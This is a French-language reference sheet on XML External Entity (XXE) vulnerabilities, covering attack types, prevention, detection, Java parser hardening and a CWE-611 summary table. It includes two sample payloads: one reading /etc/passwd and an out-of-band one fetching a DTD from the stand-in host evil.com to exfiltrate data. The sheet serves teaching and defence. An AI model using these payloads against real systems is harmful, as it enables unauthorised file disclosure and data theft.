### Description
Les failles d'XML External Entity (XXE) se produisent lorsqu'une application XML permet à un attaquant d'inclure des entités externes malveillantes ou des références à des ressources externes non sécurisées dans un document XML. Cela peut entraîner la divulgation de données sensibles, le déni de service, voire l'exécution de code à distance.
---
### Types d'Attaques XXE
**XXE Basique :**
- Se produit lorsque l'application XML traite les entités externes sans validation ou protection adéquates.
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<foo>&xxe;</foo>
```
- Cette attaque récupère le contenu du fichier `/etc/passwd`.
**XXE Out-Of-Band (OOB) :**
- Se produit lorsque l'attaquant utilise l'entité externe pour initier une connexion sortante vers un serveur contrôlé par lui.
```xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://evil.com/xxe.dtd">
%xxe;
]>
<foo>&all;</foo>
```
- Cette attaque peut être utilisée pour exfiltrer des données vers un serveur contrôlé par l'attaquant.
---
### Prévention des Attaques XXE
**Désactivation du Parsing des DTD :**
- Désactiver le parsing des DTD (Document Type Definitions) dans les bibliothèques XML.
**Validation des Entrées XML :**
- Valider et restreindre les entrées XML pour s'assurer qu'elles ne contiennent pas d'entités externes malveillantes.
**Utilisation de Méthodes Sécurisées :**
- Utiliser des méthodes sécurisées pour le traitement des documents XML, telles que DOM sécurisé ou SAX avec les entités externes désactivées.
---
### Détection des Failles XXE
**Analyse de la Configuration :**
- Examiner la configuration XML pour vérifier si le parsing des DTD est activé.
**Tests Manuels :**
- Effectuer des tests manuels en injectant des payloads XXE et en observant les réponses de l'application.
**Utilisation d'Outils de Sécurité :**
- Utiliser des outils de sécurité tels que Burp Suite, OWASP ZAP, ou des scanners spécifiques pour détecter les failles XXE.
---
### Exemples de Prévention
**Désactivation des DTD dans Java :**
```java
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
```
**Utilisation de SAXParser avec les Entités Externes Désactivées :**
```java
SAXParserFactory factory = SAXParserFactory.newInstance();
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
SAXParser parser = factory.newSAXParser();
```
---
| Catégorie | Information |
| ---------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| **TTP** | Exploitation des références d'entités externes dans XML |
| **CWE** | CWE-611 (Improper Restriction of XML External Entity Reference) |
| **Description de l'attaque** | Une attaque XXE se produit lorsqu'un attaquant exploite des applications qui analysent XML de manière à injecter des références à des entités externes malveillantes. Cela peut mener à la divulgation d'informations confidentielles, au déni de service, ou à l'exécution de code à distance. |
| **Impacts potentiels** | - Divulgation d'informations sensibles<br>- Déni de service<br>- Exécution de code à distance<br>- Porte dérobée dans les systèmes |
| **Comment la détecter** | - Analyse de code statique et dynamique<br>- Utilisation de scanners de vulnérabilité<br>- Tests de pénétration ciblant les fonctionnalités de traitement XML |
| **Remédiations/mitigations** | - Désactivation du traitement des entités externes dans les parseurs XML<br>- Validation et nettoyage des entrées XML<br>- Utilisation de listes blanches pour les éléments XML traités<br>- Mise à jour régulière des bibliothèques et frameworks XML |
| **Lien de référence** | [OWASP - XML External Entity (XXE) Processing](https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing) |